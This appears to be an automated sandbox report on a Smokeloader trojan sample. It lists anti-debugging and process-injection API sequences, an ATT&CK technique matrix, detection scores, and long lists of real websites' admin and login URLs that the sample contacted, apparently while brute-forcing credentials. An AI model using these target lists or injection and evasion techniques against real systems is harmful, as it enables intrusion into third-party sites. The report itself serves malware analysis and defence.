K9UdZjJaeHtdJE-Slb7OP38mdPhxoHYQKu5t35fK37i26O
Source: klWGq3yDcQ.exe, 00000001.00000003.1743043519.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qvlLhYhQn9q5uqU8TH7U-ymfjPOUfdZ+HhZgDxnIiOccmXbl9GzHcYzb8Azbyyls-ynZWfZ5IwPlGgjrQtltR10GIo3ImQgWfXr6oQ3Dl6j8-yoMG7IiJOzZ4DT9aGzFzbIzxit8ZtgNtQc9SvvNjtu8-yoMm7m99syUL9AYK1OUvjB3k0Ssvf23zJPZQrQtBo+k-yoZlNyQat1+2EsI1PE2htPvq2rJmKqED13mTCXvXyQ4-yo1alLeCsVHjkaVoa/kWrQWNIOsZGiNesJA9Eahby08-yo+lA5RSppAFJ5SqS5UjWw6MRfqQ3nvj5Rg1CAdAClc-yqfHsxbVzBe9FsgkmdM476jEpAuZu8G0EmBV0yWW0SE-yqyDmVy+CacgoyGd0M0fISMl/GeIN9PuGo/UMWTEgFM-yq3P8KmeJy1e6ZIX85/Vr7Qa8bifJtx3ANdPqjoJ5+Q-yr4CF87zl9rcjM1sCMsbN+hwQWbqridu/CTqxWWEXks-yr6Ecub/1tOFEXf/5BGYX90K7tE4GVIpuHQ7bt1Yp5A-ysZYQW/VYSpRkxehhnCPOzecdf8h/MEjzQMiBQOA+ow-ytq4Il9wnlvagWcP+AeDad0VeLaT9kFgLvsAmPdsW8o-yuIp28mGF/wACnkMUKYRUdcap2hx7cwUU/5xNIVlP8k-yugdI19RO6xX3hZtQlGblUCCCGjKsB/4IlUoo1/URLI-yvJ8sXeYwJjQQUawn+55Bw7JtMSkCmbK/NL/PMiKHMQ-ywj7SwXuD2oSMimnb8+F1q5HBJ0azc4T10zBXzk2OVo-yw2x2BQSf/4nKf7DtuTor3eVHVXaXqSuDMIZ1XIAyNU-yxMhQSkp1B3y2VeFjXEjYKhpAVamoO6zRVts1rVYAm8-yxYV4iNLlGjgMXpXwueb6OelyWI/bJPtFFnQGi++LWc-yxYqUQW7exz6gw7UEq2NCdR05Tl8dvZqWNQEMfMJZyU-yxkrdAZUaasj04rcaRJ3nDyopNn8SisRWvg99lMvvBQ-yzIn9tVvHfnIdx4CXj6l8qac55BiX676xyMjjf16eRs-yz4wqGdfDoEPCX1VX9BqnHyuJQwr/22reRmwlshhOwE-y1wsnyq1Mplx0bf0fepmkeDaGLEPek4hQbPVHU8d2lE-y3T0aR/MDwPgTS4kJo9wqMSANFRvMCDxE7xypysAFA4-y4AV78N9Os9jNMNGp183F8AUIGlk9rKjIelP6s4JFGg-y5IfzspsxZROwi7xnP6SlvVfqubd/7RenIYCHZeHRT8-y5QQ+v/ryxR+gG6U8VS7MQb9MTM5aSVXaUKI3ZFgPCs-y5YOyHyYkQ0uXquaRqeg5JCrtOfBw17Q5S18UteqKjw-y6MmfcINDklfKvXjYBEbru9ukdehNYKoRCOT1cA8ttQ-y7GRJMAy3qGR1lhg6mTZzEgwSWdYxPtUKYtqEMUV8Yw-y8Nu+mSH9Wx0fO7Qh4FrxH7XxZCpONnqS5cKT2UNwn8-y8l8arTODxevzAVo+hJ15tOagH7aD4yWiBJ3miiI43Q-y87ETtfQn5AqcIbrm1r1OMjMfzXLpGO7PpXFseCrv5o-y9c3PYzLowp9ceLSf7KXC4q04DzJ19sw4I9h5iANkvM-y+8asNcjUpF6AXpkhH+NqUHQZb1PXKZ1/SvvWVlPe9I-y//aokZz8acm53xCM2oRpyl71z70uHJCm4/m4k/Hra0-zAY51Nri+ghIddrndWIhyboYWi0X+f5KpMJmOqcn2rs-zBbVzi7xKUXqiSsuAGMwoqz6qWvKB7JO3GR7KRGAqhk-zBtKv73g5ycnCzUbH1CPuzYG0N+rOA08wJbTQrUJXOY-zCP5rsIbXHmJxV+38GQtjsB+r2AAAqHaSJbkUTtTgmA-zCmw9gD4hn0g5kDH6sx/aZNlTjnlxwulJJAXfBmwTO8-zEaudWGJthkurisjuFiN2xUVW9d8f/u6Mev50zPzync-zEvMvKEoR94v2PGRc/7hQ7U0JQG6ohQZ/bKZG1712Ws-zFfxVJeBGQlSiFPjy0G0arjf/OYTPwcGHD+8BWKpCKc-zF4qL0hMKwnZ37dQQ7ClnfQ7ABdi2WkEJcdnrbS55G4-zGS7pNaEZDPQkAjWxozgVjDqiBRTo3WupQlNtkPMXBk-zGfNDbCmzcE2NKMweNSFnUyQ96DKVaOVHjmZaZ3ba08-zG8hS7iRjiHMJ/CcdRZli0lWc6V/2oaGdcA5kaCFBlk-zHPyHoBHNqwnCOrR36gjGtWLrTnYxOSzL4TMM97ttkg-zIGK/4zDGkjYn/g4wCoNEHtl4+onEGwLkSxkABh6Btw-zJth0jE0ba2lhtrEXLWQNEhsz4H/Ssp2Bix57YigI6w-zJ62zqfTIuAz1kvV73AVwLG/72s6IHGHfVus5IQp7JA-zLdWMt6aYYnWUSEgZUAWNQyCS9NNZPxRkaV+Q4H7y8o-zMOsxSYkUBosOPWUncopJFVr+RIEOLd7znwjN0LKE8Y-zMRcloGTynfCrLdJ4KqY+HX/BfNepkAcBRyk9aLtcCM-zMsrKjBa7imfXE1z8hYzeAC7VJgQ1vhs1xhcVCetF6M-zNAG/AUd8DYuH7r1X7Zqu2Yrhf/0wiRlDkRC7Vovgyk-zNVhoiXx9T7znVA4ThjQfdGzNoWCLV2KVjOAACjW7yE-zOFOIjDhepPn+GTnh6gvsLbOzxXr1ZEfr+0h9i/u40U-zOSS2gaBOafiKY4fkXNwtEfWHoJyOAoZ33MAOqKCSG8-zOYZwwYMsgPkitvSwtfvm2ibt4Rm4qjKJiMcr6iLr28-zO1+Ktle/h9PwtZC/IIukThUlJyldvkH1Qn3byjcmnU-zP+0ZjtqgmyYuTpf1rGCQOMpw71iI/2776VwFroR4fI-zRDxbA/g0biXrNrBfWVNC5069DTrh71bFfctj2trysI-zRP44NqITqW3csw/GiH5EL11c+fsSs9
Source: cached-microdescs.new.1.dr	Binary or memory string: ntor-onion-key lU8+UY0MaMkgsA/Uhhj0W+Pxb6vMcIQTtUzTTWL2iTE
Source: klWGq3yDcQ.exe, 00000001.00000003.1831704054.000000000345B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
Source: klWGq3yDcQ.exe, 00000001.00000002.2867952335.00000000009F8000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3485169660.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: klWGq3yDcQ.exe, 00000001.00000003.1838458063.0000000003452000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0PJAMo57H/5p/LvmCi5uy4B2YM9XkLvneJ1FX6e/H4AYW3twOtPlAgMBAAE=

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_0040667B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040667B

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_0040410B LoadLibraryW,GetProcAddress,VirtualProtect,

0_2_0040410B

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_023E90A3 push dword ptr fs:[00000030h]	0_2_023E90A3
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_025B0042 push dword ptr fs:[00000030h]	0_2_025B0042
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_02800083 push dword ptr fs:[00000030h]	2_2_02800083
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_02A00042 push dword ptr fs:[00000030h]	2_2_02A00042

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_00405021 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00405021
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_0040B5B4 SetUnhandledExceptionFilter,	0_2_0040B5B4
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_0040667B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040667B
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_00407B74 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407B74
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 4_2_006943E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_006943E0
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 4_2_00694A78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00694A78

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Memory written: C:\Users\user\Desktop\klWGq3yDcQ.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_025B0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_025B0110

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Users\user\Desktop\klWGq3yDcQ.exe C:\Users\user\Desktop\klWGq3yDcQ.exe			Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"			Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: GetLocaleInfoA,

0_2_00412BC9

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

0_2_00404004

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_0040BABB GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0040BABB

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Brute Force	1 System Time Discovery	1 Exploitation of Remote Services	11 Archive Collected Data	1 Exfiltration Over Alternative Protocol	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	212 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Software Packing	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Multi-hop Proxy			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Scheduled Transfer	5 Non-Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	136 Application Layer Protocol			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	2 Proxy			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
klWGq3yDcQ.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader
klWGq3yDcQ.exe	68%	Virustotal		Browse
klWGq3yDcQ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Drivers\csrss.exe	100%	Joe Sandbox ML
C:\ProgramData\Drivers\csrss.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.avient.com	0%	Virustotal	Browse
viidelta.com	0%	Virustotal	Browse
route3.mx.cloudflare.net	0%	Virustotal	Browse
esoft.academy	0%	Virustotal	Browse
nyklawfirm.com	0%	Virustotal	Browse
ondania.com	0%	Virustotal	Browse
mx2.improvmx.com	0%	Virustotal	Browse
webstamp.ca	0%	Virustotal	Browse
leeberg.dk	0%	Virustotal	Browse
gccb.co.in	0%	Virustotal	Browse
ceuandalucia.es	0%	Virustotal	Browse
route1.mx.cloudflare.net	0%	Virustotal	Browse
bunasta.eu	0%	Virustotal	Browse
recv1.erinn.biz	0%	Virustotal	Browse
gruporegiosafety.com	0%	Virustotal	Browse
micro-design.com	0%	Virustotal	Browse
mail.totalise.co.uk	0%	Virustotal	Browse
locandafrancigena.it	0%	Virustotal	Browse
td-ccm-neg-87-45.wixdns.net	0%	Virustotal	Browse
knu.ac.in	0%	Virustotal	Browse
smtpin.rzone.de	0%	Virustotal	Browse
talentius.com	0%	Virustotal	Browse
mx.a.locaweb.com.br	0%	Virustotal	Browse
kappablu.de	0%	Virustotal	Browse
gasp-ga.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://americanrecords.it/admin/	0%	Avira URL Cloud	safe
http://lwindowelive.com/wp-admin/	0%	Avira URL Cloud	safe
https://engel-firm.com/wp-login.php?action=lostpassword	0%	Avira URL Cloud	safe
http://www.perrisesd.org/administrator/index.php	0%	Avira URL Cloud	safe
https://unaj.edu.pe/admin	0%	Avira URL Cloud	safe
http://prettypollycleaning.ae/administrator/index.php	0%	Avira URL Cloud	safe
http://www.prettypollycleaning.ae/admin	0%	Avira URL Cloud	safe
https://townshipnjr.com/phpmyadmin/	0%	Avira URL Cloud	safe
http://avient.com/admin.php	0%	Avira URL Cloud	safe
http://formacion.talentius.com/	0%	Avira URL Cloud	safe
http://gccb.co.in/phpMyAdmin/	0%	Avira URL Cloud	safe
http://micro-design.com/wp-admin/js/user-profile.min.js?ver=6.1.1	0%	Avira URL Cloud	safe
http://bvhrs.com/phpmyadmin/	0%	Avira URL Cloud	safe
http://rochester-gauges.be/admin.php	0%	Avira URL Cloud	safe
http://students.kasralainy.edu.eg/administrator/index.phpca	0%	Avira URL Cloud	safe
http://kappablu.de/wp-login.php	0%	Avira URL Cloud	safe
https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer.png	0%	Avira URL Cloud	safe
http://srmist.edu.in/pma/	0%	Avira URL Cloud	safe
https://my.calvary.qld.edu.au/saml/index.php?page=%2Fadministrator%2Findex.php	0%	Avira URL Cloud	safe
http://unaj.edu.pe/phpMyAdmin/	0%	Avira URL Cloud	safe
http://midcapfunding.com/pma/	0%	Avira URL Cloud	safe
http://sofia-communications.com/	0%	Avira URL Cloud	safe
http://www.karinshobbyfotografie.nl/index.html	0%	Avira URL Cloud	safe
http://my.calvary.qld.edu.au/pma/Admin/-	0%	Avira URL Cloud	safe
https://gruporegiosafety.com/wp-login.php	0%	Avira URL Cloud	safe
https://www.beachrecruitment.com/phpMyAdmin/	0%	Avira URL Cloud	safe
http://gatewaytoearlylearning.com/phpMyAdmin/	0%	Avira URL Cloud	safe
https://talentius.com/comments/feed/	0%	Avira URL Cloud	safe
https://leeberg.dk/phpmyadmin/	0%	Avira URL Cloud	safe
http://samson.pe/pma/	0%	Avira URL Cloud	safe
http://ce-logic.com/phpMyAdmin/	0%	Avira URL Cloud	safe
http://dstaq.com/administrator/index.php	0%	Avira URL Cloud	safe
https://knu.ac.in/wp-admin/	0%	Avira URL Cloud	safe
http://rechagricola.com.br/phpmyadmin/	0%	Avira URL Cloud	safe
https://webstamp.ca/phpMyAdmin/	0%	Avira URL Cloud	safe
http://rochester-gauges.be/pma/	0%	Avira URL Cloud	safe
https://tiswheels.com/administrator/index.php	100%	Avira URL Cloud	malware
http://jamiesonmullin.com/admin	0%	Avira URL Cloud	safe
http://robinsonland.com/wp-admin/	0%	Avira URL Cloud	safe
https://gruporegiosafety.com/phpMyAdmin/	0%	Avira URL Cloud	safe
http://midcapfunding.com/phpmyadmin/	0%	Avira URL Cloud	safe
https://kappablu.de/phpmyadmin/	0%	Avira URL Cloud	safe
http://federwild.at/phpMyAdmin/	0%	Avira URL Cloud	safe
https://talentius.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?v	0%	Avira URL Cloud	safe
http://bvhrs.com/pma/	0%	Avira URL Cloud	safe
http://yahoo.comfreezed/phpmyadmin/	0%	Avira URL Cloud	safe
https://tradeavenida.com/product-category/toys-games/	0%	Avira URL Cloud	safe
http://srmist.edu.in/PhpMyAdmin/	0%	Avira URL Cloud	safe
https://knu.ac.in/administrator/index.php	0%	Avira URL Cloud	safe
https://gmailvz.com/phpmyadmin/	0%	Avira URL Cloud	safe
https://gethsemane.org/phpmyadmin/Y	0%	Avira URL Cloud	safe
https://gccb.co.in/wp-content/uploads/2023/05/favicon.png	0%	Avira URL Cloud	safe
http://ceuandalucia.es/PhpMyAdmin/	0%	Avira URL Cloud	safe
https://www.beachrecruitment.com/index.php/cms_categorie/94677/bb/1/id/94677	0%	Avira URL Cloud	safe
http://gasp-ga.com/administrator/index.php	0%	Avira URL Cloud	safe
https://unaj.edu.pe/wp-login.php	0%	Avira URL Cloud	safe
http://financefast.com.br/phpMyAdmin/	0%	Avira URL Cloud	safe
http://micro-design.com/wp-login.php?action=lostpassword	0%	Avira URL Cloud	safe
https://edgewater.group/wp-login.php	0%	Avira URL Cloud	safe
http://linkan-group.com/wp-admin/	0%	Avira URL Cloud	safe
https://www.knu.ac.in/admin.php	0%	Avira URL Cloud	safe
http://gmailvz.com/admin	0%	Avira URL Cloud	safe
http://ce-logic.com/admin/	0%	Avira URL Cloud	safe
http://ww38.ondania.com/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMDN8fHx8fHw2NTYyZGVkMzNi	0%	Avira URL Cloud	safe
http://awb-apparatebau.de/pma/	0%	Avira URL Cloud	safe
http://rdelealtad.com/administrator/index.php	0%	Avira URL Cloud	safe
http://lumaruniformes.com/PhpMyAdmin/	0%	Avira URL Cloud	safe
https://esoft.academy/wp-login.php	0%	Avira URL Cloud	safe
http://viidelta.com/wp-admin/	0%	Avira URL Cloud	safe
https://edgewater.group/administrator/	0%	Avira URL Cloud	safe
http://awb-apparatebau.de/administrator/	0%	Avira URL Cloud	safe
http://gasp-ga.com/administrator/	0%	Avira URL Cloud	safe
http://lumaruniformes.com/admin	0%	Avira URL Cloud	safe
https://samson.pe/feed/	0%	Avira URL Cloud	safe
https://lumaruniformes.com/wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1	0%	Avira URL Cloud	safe
http://ce-logic.com/admin.php	0%	Avira URL Cloud	safe
http://ondania.com/PhpMyAdmin/y	0%	Avira URL Cloud	safe
http://octetpowers.in/phpMyAdmin/	0%	Avira URL Cloud	safe
https://samson.pe/#/schema/logo/image/	0%	Avira URL Cloud	safe
http://viidelta.com/admin/	0%	Avira URL Cloud	safe
https://student.debritto.sch.id/phpmyadmin/	0%	Avira URL Cloud	safe
http://himontessori.com/admin/	0%	Avira URL Cloud	safe
http://srmist.edu.in/admin.php	0%	Avira URL Cloud	safe
https://edgewater.group/administrator/index.php	0%	Avira URL Cloud	safe
https://unaj.edu.pe/PhpMyAdmin/	0%	Avira URL Cloud	safe
http://x1.i.lencr.org/	0%	Avira URL Cloud	safe
https://nwzimg.wezhan.net/static-js/page404.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gatewaytoearlylearning.com	199.34.228.177	true	true		unknown
ftp.townshipnjr.com	66.81.203.198	true	true		unknown
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.253.23	true	false		high
ww16.ondania.com	91.195.240.34	true	false		unknown
mx.avasin.plus.net	212.159.8.200	true	false		high
mail.tradeavenida.com	162.241.24.104	true	true		unknown
www.avient.com	23.185.0.1	true	true	0%, Virustotal, Browse	unknown
wonka.cc.w.cdngslb.com	47.246.24.211	true	true		unknown
mail.webstamp.ca	72.167.58.161	true	true		unknown
alt2.aspmx.l.google.com	64.233.184.27	true	false		high
webstamp.ca	72.167.58.161	true	true	0%, Virustotal, Browse	unknown
viidelta.com	89.31.143.1	true	true	0%, Virustotal, Browse	unknown
esoft.academy	172.67.132.45	true	true	0%, Virustotal, Browse	unknown
store-4.cws.digital	54.233.137.124	true	false		unknown
route3.mx.cloudflare.net	162.159.205.25	true	true	0%, Virustotal, Browse	unknown
mail.himontessori.com	74.220.219.189	true	true		unknown
mailstore1.secureserver.net	216.69.141.82	true	false		high
bunasta.eu	92.62.143.50	true	true	0%, Virustotal, Browse	unknown
gccb.co.in	164.52.221.51	true	true	0%, Virustotal, Browse	unknown
nyklawfirm.com	15.197.142.173	true	true	0%, Virustotal, Browse	unknown
mx2.improvmx.com	13.36.107.63	true	false	0%, Virustotal, Browse	unknown
ondania.com	103.224.212.226	true	true	0%, Virustotal, Browse	unknown
c47ab644ec7e3f14.mx1.emailprofi.seznam.cz	77.75.77.56	true	false		high
leeberg.dk	104.21.63.202	true	true	0%, Virustotal, Browse	unknown
908910.parkingcrew.net	76.223.26.96	true	false		high
route1.mx.cloudflare.net	162.159.205.11	true	true	0%, Virustotal, Browse	unknown
alt4.gmr-smtp-in.l.google.com	142.250.153.14	true	false		high
ceuandalucia.es	213.0.13.44	true	true	0%, Virustotal, Browse	unknown
gruporegiosafety.com	144.202.62.131	true	true	0%, Virustotal, Browse	unknown
directlendersllc.com	162.250.126.5	true	false		high
my.calvary.qld.edu.au	120.88.73.238	true	true		unknown
octetpowers.in	148.66.138.193	true	true		unknown
locandafrancigena.it	35.214.252.247	true	true	0%, Virustotal, Browse	unknown
recv1.erinn.biz	133.130.97.143	true	true	0%, Virustotal, Browse	unknown
mail.townshipnjr.com	66.81.203.8	true	true		unknown
rochestergauges-be02c.mail.protection.outlook.com	104.47.73.138	true	false		high
student.debritto.sch.id	117.20.63.148	true	true		unknown
mail.totalise.co.uk	212.159.9.240	true	false	0%, Virustotal, Browse	unknown
micro-design.com	34.208.26.152	true	true	0%, Virustotal, Browse	unknown
integraledu.hr	78.128.62.138	true	false		high
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	false	0%, Virustotal, Browse	unknown
knu.ac.in	3.111.240.6	true	true	0%, Virustotal, Browse	unknown
ftp.srmist.edu.in	103.4.223.180	true	false		unknown
jamiesonmullin-com.mail.protection.outlook.com	104.47.75.164	true	false		high
kubernetes-producao-1203337388.sa-east-1.elb.amazonaws.com	18.228.96.142	true	false		high
mx.a.locaweb.com.br	186.202.4.42	true	false	0%, Virustotal, Browse	unknown
talentius.com	185.54.192.125	true	true	0%, Virustotal, Browse	unknown
mail.grg17geblergasse.at	81.19.149.83	true	false		high
gasp-ga.com	162.241.224.218	true	true	0%, Virustotal, Browse	unknown
d3i1ioguzwkpen.cloudfront.net	13.32.208.27	true	false		high
smtpin.rzone.de	81.169.145.97	true	false	0%, Virustotal, Browse	unknown
grg17geblergasse-at.mail.protection.outlook.com	52.101.68.16	true	false		high
em4.mainnetmail.com	142.93.233.86	true	true		unknown
greenrworld.com	15.197.142.173	true	true		unknown
kappablu.de	81.169.145.157	true	true	0%, Virustotal, Browse	unknown
wasserman.us	216.250.121.106	true	true		unknown
harasduberry.com	99.81.150.60	true	true		unknown
alt4.aspmx.l.google.com	142.250.153.26	true	false		high
smtp.secureserver.net	68.178.213.203	true	false		high
americanrecords.it	109.168.109.224	true	true		unknown
mx2.mailserver.it	212.97.32.100	true	true		unknown
mx2.supremebox.com	198.23.53.42	true	true		unknown
krkconcord-com.mail.protection.outlook.com	104.47.74.10	true	false		high
rdelealtad.com	15.197.142.173	true	true		unknown
gmailvz.com	3.33.130.190	true	true		unknown
getquipu.com	15.236.29.106	true	false		high
mx1.improvmx.com	15.236.236.160	true	true		unknown
ftp.bunasta.eu	192.168.1.13	true	false		unknown
gethsemane.org	75.118.8.65	true	true		unknown
grg17geblergasse.at	81.19.159.64	true	false		high
vivanettv.co.ke	104.247.74.107	true	true		unknown
mx1.jimdo.com	173.203.187.1	true	false		high
midcapfunding.com	15.197.142.173	true	true		unknown
hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	3.94.41.167	true	false		high
unaj.edu.pe	15.235.14.141	true	true		unknown
ecolandeck-at0i.mail.protection.outlook.com	52.101.68.0	true	false		high
rechagricola.com.br	18.229.0.171	true	true		unknown
mx00.1and1.com	74.208.5.3	true	false		high
capforge.com	67.205.16.72	true	true		unknown
esoft-academy.mail.eo.outlook.com	52.101.132.30	true	false		high
web-hp.prod.jimdo.systems	34.240.130.5	true	false		unknown
mail.locandafrancigena.it	144.76.107.16	true	true		unknown
c47ab644ec7e3f14.mx2.emailprofi.seznam.cz	77.75.77.146	true	false		high
www.hugedomains.com	104.26.7.37	true	false		high
alt1.aspmx.l.google.com	209.85.202.27	true	false		high
ALT2.ASPMX.L.GOOGLE.com	64.233.184.26	true	false		high
lumaruniformes.com	162.241.62.220	true	true		unknown
coralparkchristian.org	162.210.96.117	true	true		unknown
ftp.quipuapp.com	15.236.29.106	true	true		unknown
alt3.aspmx.l.google.com	142.250.27.27	true	false		high
mx.b.locaweb.com.br	177.153.23.242	true	false		unknown
mx.mail-data.net	143.244.202.96	true	true		unknown
edgewater.group	104.200.30.31	true	true		unknown
ce-logic.com	54.83.33.36	true	true		unknown
samsongroup.in.tmes.trendmicro.eu	18.185.115.147	true	false		high
federwild.at	185.183.156.218	true	true		unknown
upn-pe.mail.protection.outlook.com	52.101.40.24	true	false		high
t1eng.com	3.234.162.143	true	true		unknown
mx2.zoho.com	136.143.191.44	true	false		high
ftp.viidelta.com	89.31.143.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://unaj.edu.pe/admin	true	Avira URL Cloud: safe	unknown
http://avient.com/admin.php	true	Avira URL Cloud: safe	unknown
http://www.prettypollycleaning.ae/admin	false	Avira URL Cloud: safe	unknown
http://www.perrisesd.org/administrator/index.php	false	Avira URL Cloud: safe	unknown
http://americanrecords.it/admin/	true	Avira URL Cloud: safe	unknown
http://prettypollycleaning.ae/administrator/index.php	false	Avira URL Cloud: safe	unknown
http://gccb.co.in/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://rochester-gauges.be/admin.php	true	Avira URL Cloud: safe	unknown
http://kappablu.de/wp-login.php	true	Avira URL Cloud: safe	unknown
http://bvhrs.com/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://srmist.edu.in/pma/	true	Avira URL Cloud: safe	unknown
https://my.calvary.qld.edu.au/saml/index.php?page=%2Fadministrator%2Findex.php	true	Avira URL Cloud: safe	unknown
http://unaj.edu.pe/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://midcapfunding.com/pma/	true	Avira URL Cloud: safe	unknown
https://gruporegiosafety.com/wp-login.php	true	Avira URL Cloud: safe	unknown
https://www.beachrecruitment.com/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://gatewaytoearlylearning.com/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://samson.pe/pma/	false	Avira URL Cloud: safe	unknown
https://leeberg.dk/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://ce-logic.com/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://dstaq.com/administrator/index.php	true	Avira URL Cloud: safe	unknown
https://knu.ac.in/wp-admin/	true	Avira URL Cloud: safe	unknown
http://rechagricola.com.br/phpmyadmin/	true	Avira URL Cloud: safe	unknown
https://webstamp.ca/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://rochester-gauges.be/pma/	true	Avira URL Cloud: safe	unknown
